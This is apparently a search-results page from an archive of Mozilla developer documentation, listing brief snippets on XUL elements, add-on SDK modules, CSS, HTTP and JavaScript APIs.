... the pages are displayed in the order that they are placed in the wizard, unless you use the next and pageid attributes on the pages to change the sequence.
...in newer versions of mozilla, a statusbar may be placed directly inside the wizard element which will be shared among all pages.
...And 14 more matches
Debugging a XULRunner Application - Archive of obsolete content
there are two different consoles available and various preferences which will ensure that the information you need to know is displayed on them.
... see also debugging javascript prefs setting the following prefs will make your debugging life much easier!
... /* debugging prefs */ pref("browser.dom.window.dump.enabled", true); pref("javascript.options.showinconsole", true); pref("javascript.options.strict", true); pref("nglayout.debug.disable_xul_cache", true); pref("nglayout.debug.disable_xul_fastload", true); don't forget to change these preferences back to their defaults when you've finished debugging; leaving them as-is can significantly harm performance and usability.
...And 14 more matches
2006-10-20 - Archive of obsolete content
marcus claims that when he builds firefox using centos he encounters crashes (segmentation faults) under linux distributions such as gentoo, suse and fedora.
... he also points out that when he performs a local build any of those platforms (gentoo, suse and fedora) he doesn't encounter any problems on the same machine.
... adding extension to extensions/ folder originally posted on oct 19th: christopher finke is currently learning how to compile firefox.
...And 14 more matches
Adobe Flash - Archive of obsolete content
versions of flash prior to flash 6r49 (such as flash 5) are not scriptable in netscape gecko browsers.
...on mac os x, there is an additional caveat: netscape gecko browsers such as camino (formerly chimera), the latest mozilla browsers, and future versions of netscape which are built using the mach-o binary format won't be able to use flash's scriptability features.
... until macromedia changes this from within the flash plugin, scriptability can not be used on mac os x browsers based on gecko.
...And 14 more matches
Using workers in extensions - Archive of obsolete content
how this differs from previous versions this version of the stock ticker extension moves the xmlhttprequest call that fetches updated stock information into a worker thread, which then passes that information back to the main body of the extension's code to update the display in the status bar.
... the worker the worker thread's job in this example is to issue the xmlhttprequest calls that fetch the updated stock information.
... so we need to move the refreshinformation() method from the stockwatcher2.js file into a separate file that will host the worker thread.
...And 14 more matches
Styling the Amazing Netscape Fish Cam Page - Archive of obsolete content
the amazing netscape fish cam page has been restructured and restyled for the new millennium, ditching tables for strong and accessible markup.
...it's a well-known maxim that if you stick around long enough, you get a chance to see the tides of history turn.
...i was privileged enough to have that chance recently: i was asked to redesign the amazing netscape fish cam page for a new millennium.
...And 14 more matches
Browser chrome tests
the browser chrome test suite is an automated testing framework designed to allow testing of application chrome windows using javascript.
... it currently allows you to run javascript code in the same scope as the main firefox browser window and report results using the same functions as the mochitest test framework.
... running the browser chrome tests to run mochitest, first build mozilla with your changes; then run ./mach mochitest -f browser this will launch your build and open a "browser chrome tests" window, and report the results in the ui and to stdout.
...And 14 more matches
JS_CheckAccess
check whether a running script may access a given object property.
... syntax jsbool js_checkaccess(jscontext *cx, jsobject *obj, jsid id, jsaccessmode mode, jsval *vp, unsigned int *attrsp); name type description cx jscontext * the context in which to perform the access check.
... description js_checkaccess determines whether the property of obj given by id can be accessed by the code currently running in the context cx.
...And 14 more matches
nsIChromeRegistry
chrome/public/nsichromeregistry.idlscriptable provides access to the chrome registry; you can use this to get information about chrome documents that have been registered.
... inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) implemented by: @mozilla.org/chrome/chrome-registry;1 as a service: var chromeregistry = components.classes["@mozilla.org/chrome/chrome-registry;1"] .getservice(components.interfaces.nsichromeregistry); method overview void canonify(in nsiuri achromeurl); obsolete since gecko 1.8 void checkfornewchrome(); nsiuri convertchromeurl(in nsiuri achromeurl); boolean wrappersenabled(in nsiuri auri); violates the xpcom interface guidelines constants constant value description none 0 partial 1 full 2 methods canonify() obsolete since gecko 1.8 (fi...
...refox 1.5 / thunderbird 1.5 / seamonkey 1.0) note: this method is obsolete; use convertchromeurl() instead.
...And 14 more matches
font-stretch - CSS: Cascading Style Sheets
the font-stretch css property selects a normal, condensed, or expanded face from a font.
... /* keyword values */ font-stretch: ultra-condensed; font-stretch: extra-condensed; font-stretch: condensed; font-stretch: semi-condensed; font-stretch: normal; font-stretch: semi-expanded; font-stretch: expanded; font-stretch: extra-expanded; font-stretch: ultra-expanded; /* percentage values */ font-stretch: 50%; font-stretch: 100%; font-stretch: 200%; /* global values */ font-stretch: inherit; font-stretch: initial; font-stretch: unset; syntax this property may be specified as a single keyword value or a single <percentage> value.
... in earlier versions of the font-stretch specification, the property accepts only the nine keyword values.
...And 14 more matches
CSP: prefetch-src - HTTP
the http content-security-policy (csp) prefetch-src directive specifies valid resources that may be prefetched or prerendered.
... csp version 3 directive type fetch directive default-src fallback yes.
... syntax one or more sources can be allowed for the prefetch-src policy: content-security-policy: prefetch-src <source>; content-security-policy: prefetch-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
...And 14 more matches
Protocol upgrade mechanism - HTTP
the http/1.1 protocol provides a special mechanism that can be used to upgrade an already established connection to a different protocol, using the upgrade header field.
... this mechanism is optional; it cannot be used to insist on a protocol change.
... implementations can choose not to take advantage of an upgrade even if they support the new protocol, and in practice, this mechanism is used mostly to bootstrap a websockets connection.
...And 14 more matches
String.prototype.charAt() - JavaScript
the string object's charat() method returns a new string consisting of the single utf-16 code unit located at the specified offset into the string.
... syntax let character = str.charat(index) parameters index an integer between 0 and str.length - 1.
... if the index cannot be converted to the integer or no index is provided, the default is 0, so the first character of str is returned.
...And 14 more matches
Optional chaining (?.) - JavaScript
the optional chaining operator (?.) permits reading the value of a property located deep within a chain of connected objects without having to expressly validate that each reference in the chain is valid.
...chaining operator, except that instead of causing an error if a reference is nullish (null or undefined), the expression short-circuits with a return value of undefined.
... this results in shorter and simpler expressions when accessing chained properties when the possibility exists that a reference may be missing.
...And 14 more matches
Communicating With Other Scripts - Archive of obsolete content
content scripts content scripts loaded into the same document at the same time using the same method can interact with each other directly as well as with the web content itself.
... however, content scripts which have been loaded into different documents cannot interact directly with each other.
... content scripts that have been loaded into the same document by different methods, or the same method called more than once, can pass messages directly to each other using the dom postmessage() api or a customevent.
...And 13 more matches
Interacting with page scripts - Archive of obsolete content
by default, content scripts loaded by add-ons and scripts loaded by web pages are insulated from each other: content scripts can't interact directly with page scripts or access javascript objects they create page scripts can't interact directly with content scripts or access objects they create.
... also, unsafewindow isn't a supported api, so it could be removed or changed in a future version of the sdk.
...the "main.js" opens the local file "page.html" and attaches a content script to it: // main.js var tabs = require("sdk/tabs"); var self = require("sdk/self"); tabs.open({ url: self.data.url("page.html"), onready: attachscript }); function attachscript(tab) { tab.attach({ contentscriptfile: self.data.url("content-script.js") }); } the content script defines an object and assigns it to unsafewindow twice: the first time using cloneinto()...
...And 13 more matches
Classes and Inheritance - Archive of obsolete content
a class is a blueprint from which individual objects are created.
...each class defines one or more members, which are initialized to a given value when the class is instantiated.
... data members are properties that allow each instance to have their own state, whereas member functions are properties that allow instances to have behavior.
...And 13 more matches
lang/functional - Archive of obsolete content
}, 0)), except that the wrapped function may be reused and does not need to be repeated each time.
... let { partial } = require("sdk/lang/functional"); let add = function add (x, y) { return x + y; } let addone = partial(add, 1); addone(5); // 6 addone(10); // 11 partial(add, addone(20))(2); // 23 parameters fn : function function on which partial application is to be performed.
... compose(fn...) returns the composition of a list of functions, where each function consumes the return value of the function that follows.
...And 13 more matches
Storing annotations - Archive of obsolete content
in this chapter we will cover three topics relating to persistent storage: using simple-storage to persist objects handling exhaustion of the storage quota allocated to you respecting private browsing storing new annotations in this section we are only touching the main.js file.
... first, import the simple-storage module with a declaration like: var simplestorage = require('sdk/simple-storage'); in the module scope, initialize an array which will contain the stored annotations: if (!simplestorage.storage.annotations) simplestorage.storage.annotations = []; now we'll add a function to the module scope which deals with a new annotation.
... the annotation is composed of the text the user entered and the "annotation anchor", which consists of the url, element id and element content: function handlenewannotation(annotationtext, anchor) { var newannotation = new annotation(annotationtext, anchor); simplestorage.storage.annotations.push(newannotation); } this function calls a constructor for an annotation object, which we also need to supply: function annotation(annotationtext, anchor) { this.annotationtext = annotationtext; this.url = anchor[0]; this.ancestorid = anchor[1]; this.anchortext = anchor[2]; } now we need to link this code to the annotation editor, so that when the user presses the return key in the editor, we create and store the new annotation: var annotationeditor = panels.panel({ width: 220, he...
...And 13 more matches
Jetpack Processes - Archive of obsolete content
jetpack processes are created by components that implement the nsijetpackservice interface, and their parent chrome process communicates with them via the nsijetpack interface.
...messaging facilities that allow them to communicate with their parent chrome process are the only means by which they can be endowed with any real power.
...a mechanism to optionally disable this feature has been proposed in bug 614351.
...And 13 more matches
Appendix E: DOM Building and Insertion (HTML & XUL) - Archive of obsolete content
failure to do so can lead to execution or remote scripts, and in the worst cases to privilege escalation which can leave a user's pc open to remote attack.
... parse each one...
... if (array.isarray(elemnameorarray)) { var frag = doc.createdocumentfragment(); array.foreach(arguments, function(thiselem) { frag.appendchild(tag.apply(null, thiselem)); }); return frag; } // single element?
...And 13 more matches
Autodial for Windows NT - Archive of obsolete content
if you turn on the autodial feature, windows will automatically dial whenever any application tries to access a network address that can't be reached.
... technically, this control panel applet (internet options) is part of internet explorer.
...starting with windows nt, and in all nt-based versions (windows nt, windows 2000, and windows xp, including xp home) microsoft has changed the behavior of autodial.
...And 13 more matches
JavaScript crypto - Archive of obsolete content
there may also be large incompatibilities between implementations and the behavior may change in the future.
... web sites which use ssl clientauth login could use the following code to refresh the page on token insertions and removals: <!doctype html> <p>...
... <script> function onsmartcardchange() { window.location.reload(); } function register() { window.crypto.enablesmartcardevents = true; document.addeventlistener("smartcard-insert", onsmartcardchange, false); document.addeventlistener("smartcard-remove", onsmartcardchange, false); } function deregister() { document.removeeventlistener("smartcard-insert", onsmartcardchange, false); document.removeeventlistener("smartcard-remove", onsmartcardchange, false); } document.body.onload = register; document.body.onunload = deregister; </script> with the above example, your web site will automatically reload anytime a smartcard is inserted or removed.
...And 13 more matches
Sorting Results - Archive of obsolete content
this method of sorting a seq works best for the simple query syntax since it is obvious how the starting ref relates to the end member results (they are just the children), or for extended syntax queries that follow a similar pattern.
... for more complex queries, this natural sorting will not work, because the sort service assumes that the starting ref resource is the container and the end results are the children.
...when using a tree, sorting may be performed on each column of the tree.
...And 13 more matches
Using Recursive Templates - Archive of obsolete content
after the data is generated, each result is used as the new reference point for a nested iteration of the template.
...me="napoleon bonaparte"/> <person name="julius caesar"/> <person name="ferdinand magellan"/> </group> <group name="female"> <person name="cleopatra"/> <person name="laura secord"/> </group> </people> we could display this data in a flat list by using the right query: <query expr="group/person/"> or, we could display one level for the two groups, and use another level for each person.
... <groupbox type="menu" datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="*"/> <action> <vbox uri="?" class="indent"> <label value="?name"/> </vbox> </action> </template> </groupbox> in this simplified example, the xpath expression just gets the list of child elements of the reference node.
...And 13 more matches
XML Templates - Archive of obsolete content
the ref attribute isn't currently used for xml sources, as the root of the document is always the starting point for xml queries; you should just set the ref attribute to a dummy value, for example '*' which is typically used.
... note: if you want to have the state of the disclosure triangles ("twisties") be persistent, be sure to give each node a unique "id" attribute.
...here is an example: <listbox datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="person"/> <action> <listitem uri="?" label="?name"/> </action> </template> </listbox> the expr attribute is a very simple xpath expression which simply retrieves the person elements from within the datasource.
...And 13 more matches
Adding Event Handlers to XBL-defined Elements - Archive of obsolete content
event handlers as you might expect, mouse clicks, key presses and other events are passed to each of the elements inside the content.
...each will describe the action taken for a single event handler.
...if an event does not match any of the handler events, it is simply passed to the inner content as usual.
...And 13 more matches
Content Panels - Archive of obsolete content
adding child panels there may be times when you want to have part of a document loaded from a different page.
... sometimes, you will want to change part of the window.
...each time the user clicks the next button, the next screen of the wizard is displayed.
...And 13 more matches
Cross Package Overlays - Archive of obsolete content
applying overlays to other packages note: this section talks about contents.rdf which has been replaced in gecko 1.8 by manifest files.
...you can also go the other way and have the overlays specify which windows that they apply to.
...this is useful because the overlay can modify the user interface of another package without changing the other package.
...And 13 more matches
Custom Tree Views - Archive of obsolete content
note: the tree-related interfaces changed in gecko 1.8.
... see tree widget changes for details.
... to implement a custom view, you will need to create an object which implements the nsitreeview interface.
...And 13 more matches
Property Files - Archive of obsolete content
in addition, you may wish to display a message which is generated from a script, if, for example, you do not know the exact text to be displayed.
...an example is shown below: notfoundalert=no files were found matching the criteria.
... stringbundles you could write the code to read properties yourself, however xul provides the stringbundle element which does this for you.
...And 13 more matches
RDF Datasources - Archive of obsolete content
they work very similarly to the bookmarks, although the fields will be different in each case.
... the history list the history datasource provides access to the user's history list which is the list of urls the user has visited recently.
...example 1 : source <tree flex="1" datasources="rdf:history" ref="nc:historyroot"> <treecols> <treecol id="name" label="name" flex="1"/> <treecol id="url" label="url" flex="1"/> <treecol id="date" label="date" flex="1"/> </treecols> <template> <rule> <treechildren> <treeitem uri="rdf:*"> <treerow> <treecell label="rdf:http://home.netscape.com/nc-rdf#name"/> <treecell label="rdf:http://home.netscape.com/nc-rdf#url"/> <treecell label="rdf:http://home.netscape.com/nc-rdf#date"/> </treerow> </treeitem> </treechildren> </rule> </template> </tree> other datasources the tables be...
...And 13 more matches
Simple Menu Bars - Archive of obsolete content
the menu features of xul consist of a number of different elements which allow you to create menu bars or popup menus.
... menu bars are usually created much like a toolbar.
...xul does have some special elements which provide special functionality typical of menus.
...And 13 more matches
Stack Positioning - Archive of obsolete content
placement of stack children normally, the child elements of a stack stretch to fit the size of the stack.
... however, you may also place the children at specific coordinates.
... for example, if a stack has two buttons as children, one may be placed 20 pixels from the left edge and 50 pixels from the top edge.
...And 13 more matches
The Box Model - Archive of obsolete content
a box can lay out its children in one of two orientations, either horizontally or vertically.
...various attributes placed on the child elements in addition to some css style properties control the exact position and size of the children.
...each element placed in the hbox will be placed horizontally in a row.
...And 13 more matches
Tree Box Objects - Archive of obsolete content
redrawing the tree we already saw the rowcountchanged() function of the tree box object in the previous section.
...you don't need to call the rowcountchanged() function when a row has simply changed in some way, for example if a cell's label changes.
...the simplest is to call invalidaterow() which will redraw a specific row in the tree.
...And 13 more matches
iframe - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] an inner frame that works much like the html <iframe> element.
...the children of the iframe are ignored.
... warning: when used in chrome-privileged documents (either html or xul) such as firefox addons, the contents of the frame may have the same permissions as firefox itself.
...And 13 more matches
tab - Archive of obsolete content
ArchiveMozillaXULtab
« xul reference home [ examples | attributes | properties | methods | related ] a single tab which should be placed inside a tabs element.
... attributes accesskey, afterselected, beforeselected, command, crop, disabled, first-tab, image, label, last-tab, linkedpanel, oncommand, pending, pinned, selected, tabindex, unread, validate, value properties accesskey, accessibletype, command, control, crop, disabled, image, label, linkedpanel, selected, tabindex, value examples (example needed) attributes accesskey type: character this should be set to a character that is used as a shortcut key.
... this should be one of the characters that appears in the label attribute for the element.
...And 13 more matches
tabs - Archive of obsolete content
ArchiveMozillaXULtabs
nb: you can add some other elements to tabs such as button, but they will receive an index.
... activating them will not change the selectedindex.
...do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case.
...And 13 more matches
Encryption and Decryption - Archive of obsolete content
with most modern cryptography, the ability to keep encrypted information secret is based not on the cryptographic algorithm, which is widely known, but on a number called a key that must be used with the algorithm to produce an encrypted result or to decrypt previously encrypted information.
...thus, as long as the symmetric key is kept secret by the two parties using it to encrypt communications, each party can be sure that it is communicating with the other as long as the decrypted messages continue to make sense.
... symmetric-key encryption plays an important role in the ssl protocol, which is widely used for authentication, tamper detection, and encryption over tcp/ip networks.
...And 13 more matches
Debug - Archive of obsolete content
constants async callback status codes contant description value debug.ms_async_callback_status_assign_delegate the synchronous work item assigned a callback or continuation to be run by an asynchronous operation.
... 0 debug.ms_async_callback_status_join the synchronous work item satisfied part of a join asynchronous operation.
... 1 debug.ms_async_callback_status_chooseany the synchronous work item satisfied a choice asynchronous operation.
...And 13 more matches
Examples - Archive of obsolete content
--> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-us" xml:lang="en-us"> <head> <title>problem 1 - &lt; in xhtml</title> <meta http-equiv="content-type" content="application/xhtml+xml; charset=utf-8" /> <script type="text/javascript"> var i = 0; while (++i > 10) { // ...
.../html> back to the article problem 2 <!-- this file should have a .xhtml extension --> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-us" xml:lang="en-us"> <head> <title>problem 2 - comments in xhtml</title> <meta http-equiv="content-type" content="application/xhtml+xml; charset=utf-8" /> <style type="text/css"> <!-- body {background-color: blue; color: yellow; } --> </style> <script type="text/javascript"> <!-- var i = 0; var sum = 0; for (i = 0; i < 10; ++i) { sum += i; } alert('sum = ' + sum); // --> </script> </head> <body> <h1>problem 2 - comments in xhtml</h1> <p> this document is valid xhtml 1.0 strict se...
... </p> <dl> <dt>mozilla 1.1+/opera 7</dt> <dd>do not apply css or execute the javascript.</dd> <dt>netscape 7.0x/mozilla 1.0.x</dt> <dd>do not apply css but does execute the javascript.</dd> <dt>internet explorer 5.5+</dt> <dd>can not display the document.</dd> </dl> <p> <a href="http://validator.w3.org/check/referer"><img src="https://udn.realityripple.com/samples/8a/9e64asf935.png" alt="valid xhtml 1.0!" height="31" width="88" /></a> </p> </body> </html> back to the article problem 3 <!-- this file should have a .xhtml extension and will generate an error when parsed.
...And 13 more matches
Implementation Status - Archive of obsolete content
specification chapter index here we give an overview of xforms 1.1 specification chapters and the current status of the mozilla support.
...we have listed the most relevant bugs here, but check out the bugzilla xforms buglist for the complete list.
... 3.2.4 node-set binding attributes supported 3.2.5 model item property attributes partial in some cases a loop error can occur on valid bindings 302168; 3.3.1 model supported 3.3.2 instance partial instance element with two child element does not trigger exception 337302; 3.3.3 submission partial no support for @indent and complex schema validation 278761; 278762; 3.3.4 bind partial using the index() function in binds does not work.
...And 13 more matches
nss tech note1
how to use the nss asn.1 and quickder decoders nss technical note: 1 nss 3.6 contains several decoders for asn.1 and der.two of them are extensively used and are part of the public nss api : the "classic" asn.1 decoder, written by lisa repka .
...a "null template" is a template that is all zeros, having a zero kind.† the term "null-terminated array", as used throughout this document, means an array of templates, the last of which is a null template.
...this is the arena pool from which the decoder will allocate memory as needed.
...And 13 more matches
JS_GetScopeChain
retrieves the scope chain for the javascript code currently running in a given context.
... js_getscopechain has been removed in spidermonkey 1.8.7 with no identical replacement.
... when you only used this function to retrieve the scope chain's global, then you can use the function js_getglobalforscopechain.
...And 13 more matches
nsIMsgSearchSession
the nsimsgsearchsession interface allows you to create and manipulate search sessions within thunderbird.
... to create an instance, use: var searchsession = components.classes["@mozilla.org/messenger/searchsession;1"] .createinstance(components.interfaces.nsimsgsearchsession); to use the instance append search terms, set the scope, and then call search().
... searchsession.addscopeterm(components.interfaces.nsmsgsearchscope.offlinemail, afolder); var searchterm = searchsession.createterm(); var value = searchterm.value; value.str = avalue; searchterm.value = value; searchterm.op = searchsession.booleanor; searchterm.booleanand = false; searchsession.appendterm(searchterm); searchsession.search(null); inherits from: nsisupports method overview void addsearchterm(in nsmsgsearchattribvalue attrib, in nsmsgsearchopvalue op, in nsimsgsearchvalue value, in boolean booleanand, in string arbitraryheader); nsimsgsearchterm createterm(); void appendterm(in nsimsgsearchterm term); void registerlistener(in nsimsgsearchnotify listener); void unregisterlistener(in nsimsgsearchnotify listener); void g...
...And 13 more matches
Flame Chart - Firefox Developer Tools
the flame chart shows you the state of the javascript stack for your code at every millisecond during the performance profile.
... this gives you a way to know exactly which function was executing at any point during the recording, how long it ran for, and where it was called from.
... the call tree and the flame chart are both used to analyze your site's javascript, and they both use the same data: a sample of the javascript engine's stack, taken periodically during the recording.
...And 13 more matches
SpeechSynthesisUtterance - Web APIs
the speechsynthesisutterance interface of the web speech api represents a speech request.
... it contains the content the speech service should read and information about how to read it (e.g.
... language, pitch and volume.) constructor speechsynthesisutterance.speechsynthesisutterance() returns a new speechsynthesisutterance object instance.
...And 13 more matches
:checked - CSS: Cascading Style Sheets
WebCSS:checked
the :checked css pseudo-class selector represents any radio (<input type="radio">), checkbox (<input type="checkbox">), or option (<option> in a <select>) element that is checked or toggled to an on state.
... /* matches any checked/selected radio, checkbox, or option */ :checked { margin-left: 25px; border: 1px solid blue; } the user can engage this state by checking/selecting an element, or disengage it by unchecking/deselecting the element.
... note: because browsers often treat <option>s as replaced elements, the extent to which they can be styled with the :checked pseudo-class varies from browser to browser.
...And 13 more matches
Localizations and character encodings - Developer guides
however, a way of representing characters in terms of bytes (character encoding) is used for transferring text over the network to the browser.
... the html specification recommends the use of the utf-8 encoding (which can represent all of unicode) and regardless of the encoding used requires web content to declare what encoding was used.
... the <meta> element's charset attribute is used to specify the page's character encoding.
...And 13 more matches
Using dns-prefetch - Web Performance
dns-prefetch is an attempt to resolve domain names before resources get requested.
... why use dns-prefetch?
...while dns caching can help to reduce this latency, dns resolution can add significant latency to requests.
...And 13 more matches
Communicating using "port" - Archive of obsolete content
to enable add-on scripts and content scripts to communicate with each other, each end of the conversation has access to a port object.
... to send messages from one side to the other, use port.emit() to receive messages sent from the other side, use port.on() messages are asynchronous: that is, the sender does not wait for a reply from the recipient but just emits the message and continues processing.
... here's a simple add-on that sends a message to a content script using port: var tabs = require("sdk/tabs"); var alertcontentscript = "self.port.on('alert', function(message) {" + " window.alert(message);" + "})"; tabs.on("ready", function(tab) { worker = tab.attach({ contentscript: alertcontentscript }); worker.port.emit("alert", "message from the add-on"); }); tabs.open("http://www.mozilla.org"); in total, the port object defines four functions: emit(): emit a message.
...And 12 more matches
Porting the Library Detector - Archive of obsolete content
the library detector tells you which javascript frameworks the current web page is using.
... it does this by checking whether particular objects that those libraries add to the global window object are defined.
... for each library that it finds, the library detector adds an icon representing that library to the status bar.
...And 12 more matches
platform/xpcom - Archive of obsolete content
you can just use require("chrome") to get direct access to the components object, and access xpcom objects from there.
... implementing xpcom interfaces this module exports a class called unknown which implements the fundamental xpcom interface nsisupports.
... for example, the add-on below implements the nsiobserver interface to listen for and log all topic notifications: var { class } = require('sdk/core/heritage'); var { unknown } = require('sdk/platform/xpcom'); var { cc, ci } = require('chrome') var observerservice = cc['@mozilla.org/observer-service;1'].
...And 12 more matches
window/utils - Archive of obsolete content
the exception is the windows() function which returns an array of currently opened windows.
... getxulwindow(window) returns the nsixulwindow for the given nsidomwindow: var { ci } = require('chrome'); var utils = require('sdk/window/utils'); var active = utils.getmostrecentbrowserwindow(); active instanceof ci.nsixulwindow // => false utils.getxulwindow(active) instanceof ci.nsixulwindow // => true parameters window : nsidomwindow returns nsixulwindow getbasewindow(window) returns the nsibasewindow for the given nsidomwindow: var { ci } = require('chrome'); var utils = require('s...
...dk/window/utils'); var active = utils.getmostrecentbrowserwindow(); active instanceof ci.nsibasewindow // => false utils.getbasewindow(active) instanceof ci.nsibasewindow // => true parameters window : nsidomwindow returns nsibasewindow gettoplevelwindow(window) returns the toplevel nsidomwindow for the given child nsidomwindow: var { ci } = require('chrome'); var utils = require('sdk/window/utils'); var browserwindow = utils.getmostrecentbrowserwindow(); var window = browserwindow.content; // `window` object for the current webpage utils.gettoplevelwindow(window) == browserwindow // => true parameters window : nsidomwindow returns nsidomwindow getwindowdocshell(window) returns the nsidocshell for the tabbrowser element.
...And 12 more matches
Examples and demos from articles - Archive of obsolete content
live demos javascript rich-text editor [zip] how to standardize the creation of complete rich-text editors in web pages.
... [article] typewriter effect [html] the following example will delete and re-type simulating a typewriter all the text content of the nodelist which match a specified group of selectors.
...in such a condition is difficult and unnatural to keep track of all events started and then to stop them when appropriate through the cleartimeout() function.
...And 12 more matches
Miscellaneous - Archive of obsolete content
plication running us services.appinfo.name; // returns "firefox" for firefox services.appinfo.version; // returns "2.0.0.1" for firefox version 2.0.0.1 retrieving the version of an extension as specified in the extension's install.rdf components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getaddonbyid("extension-guid@example.org", function(addon) { // this is an asynchronous callback function that might not be called immediately alert("my extension's version is " + addon.version); }); restarting firefox/thunderbird/seamonkey_2.0 for firefox 3 see onwizardfinish around here: http://mxr.mozilla.org/seamonkey/sou...pdates.js#1639 for firefox 2 see around here: http://mxr.mozilla.org/mozilla1.8/so...pdates.js#1631 bug 338039 tracks improving this situation...
...ript"> var elm = document.getelementbyid("scrollarea"); elm.addeventlistener("dommousescroll", function scroll(event){ //event.detail is positive for a downward scroll, negative for an upward scroll alert("scrolling " + event.detail + " lines"); }, false); </script> if you do not receive a dommousescroll event while holding any of the modifier keys (ctrl,shift,alt,meta) you should check the mousewheel.withcontrolkey.action and related preferences.
... 3 change text size.
...And 12 more matches
Session store API - Archive of obsolete content
one key scenario in which supporting this feature can be crucial for an extension: firefox 2 lets users undo the closing of tabs.
... knowing when to restore each time firefox is about to restore a tab, an event of type sstabrestoring is sent.
...an event of type sstabrestored fires each time a tab has finished restoring.
...And 12 more matches
Making it into a static overlay - Archive of obsolete content
the two ways of doing that are to integrate it into the mozilla codebase (in which case it is no longer an extension but rather part of the default mozilla distribution) and to package it into an installer that users can run from within mozilla to add the extension to their mozilla installation.
...mozilla installer packages are called xpis (pronounced "zippies"), which stands for cross-platform installer.
... the packages are just standard zip archives of the files to be installed along with a javascript script that performs the installation and some rdf files that describe the components being installed for the chrome registry.
...And 12 more matches
Frequently Asked Questions - Archive of obsolete content
mozilla will not be changing this behaviour.
... why am i asked to choose a program to open svg files?
...to help us make the best use of our time, please first search in the svg component of our bug database to check that the issue hasn't already been reported.
...And 12 more matches
Table Layout Regression Tests - Archive of obsolete content
while the information on the layout debugger is still useful, the testing information is much less relevant now than it has been, as the "rtest" testing framework described here has been superseded by the reftest framework.
... subject overview changes in layout, parser and content code can have unintended side effects, also known as regressions.
... it is good style to check for these unwanted regressions and fixing them before checkin rather than causing bugzilla avalanches.
...And 12 more matches
XML in Mozilla - Archive of obsolete content
several world wide web consortium (w3c) recommendations and drafts from the xml family of specifications are supported, as well as other related technologies.
...mozilla can load external entities whose system identifier uses the chrome protocol.
...another exception is an entity whose system identifier is a relative path, and the xml declaration states that the document is not standalone (default), in which case mozilla will try to look for the entity under <bin>/res/dtd directory.
...And 12 more matches
align - Archive of obsolete content
« xul reference home align type: one of the values below the align attribute specifies how child elements of the box are aligned, when the size of the box is larger than the total size of the children.
... for boxes that have horizontal orientation, it specifies how its children will be aligned vertically.
... for boxes that have vertical orientation, it specifies how its children will be aligned horizontally.
...And 12 more matches
Accessing Files - Archive of obsolete content
file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscriptableio), which was not available in any released version of the platform (pending some fixes).
... there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome!
...var file = io.getfile("profile", "sample.txt"); the nsiscriptableio object is a global object always available within an application or extension which provides a number of useful functions for dealing with files.
...And 12 more matches
PopupEvents - Archive of obsolete content
however, this technique can be applied to any type of popup.
...<panel id="time-panel" onpopupshowing="this.lastchild.value = (new date()).tolocaleformat('%t')"> <label value="time:"/> <label id="time"/> </panel> <toolbarbutton label="show time" popup="time-panel"/> you can prevent a menu or popup from appearing by calling the preventdefault method of the event from within a popupshowing listener.
...<menu label="edit"> <menupopup onpopupshowing="if (gdisallowed) event.preventdefault();"> <menuitem label="undo"/> <menuitem label="redo"/> </menupopup> </menu> in this example, a global variable gdisallowed is checked and the preventdefault method is called.
...And 12 more matches
Manipulating Lists - Archive of obsolete content
similar to the dom appendchild() function except that it takes a string label, and you do not have to worry about where to add it in the list structure.
...the value is used only as an extra optional value associated with an item which you might wish to use in a script.
... similarly, there is also an insertitemat() and a removeitemat() function which inserts a new item and removes an existing item respectively.
...And 12 more matches
radio - Archive of obsolete content
ArchiveMozillaXULradio
the user can switch which radio button is turned on by selecting it with the mouse or keyboard.
...tabindex, value properties accesskey, accessibletype, control, crop, disabled, image, label, radiogroup, selected, tabindex, value examples <radiogroup> <radio id="orange" label="red" accesskey="r"/> <radio id="violet" label="green" accesskey="g" selected="true"/> <radio id="yellow" label="blue" accesskey="b" disabled="true"/> </radiogroup> attributes accesskey type: character this should be set to a character that is used as a shortcut key.
... this should be one of the characters that appears in the label attribute for the element.
...And 12 more matches
radiogroup - Archive of obsolete content
the radio buttons may either direct children of the radiogroup or descendants.
... attributes disabled, focused, preference, tabindex, value properties accessibletype, disabled, focuseditem, itemcount, selectedindex, selecteditem, tabindex, value methods appenditem, checkadjacentelement, getindexofitem, getitematindex, insertitemat, removeitemat examples <radiogroup> <radio id="orange" label="red"/> <radio id="violet" label="green" selected="true"/> <radio id="yellow" label="blue"/> </radiogroup> attributes disabled type: boolean indicates whether the element is disabled or not.
...do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case.
...And 12 more matches
XUL Parser in Python - Archive of obsolete content
with new widgets and attributes landing all the time, i wanted to get some quicker way of looking at the xul--at particular builds, at particular widgets, at which elements had which attributes, etc.
...for example, you could easily adapt this to: return the id values of all the elements take elements on the command line and only spell them out build new chrome subdirectories (i.e.
... new "packages") on the fly using search and replace.
...And 12 more matches
Patching a Localization
this page will walk you through creating a patch for an existing localization.
... the steps below are fairly generic; for the most part they apply to creating l10n patches for firefox, thunderbird, seamonkey, or calendar.
... i'll use firefox in the example below to help you understand the general steps to creating a l10n patch.
...And 12 more matches
Research and prep
productization is the process of determining a user's choice of default search engines, content and protocol handlers (rss readers, web mail and web calendar), bookmarks, and links to recommended sites on the in-product pages as it relates to their locale.
... it is your l10n team's responsibility to perform research and identify the most appropriate web services for your region and present them in your bug as your informed recommendations.
... ensure that your suggestions follow these parameters: search there are typically five search plug-ins listed for firefox desktop (only four for firefox mobile): generic search the default option should expose the quickest path to the best result on the world wide web for the user (indexing a large portion of the global www).
...And 12 more matches
nss tech note6
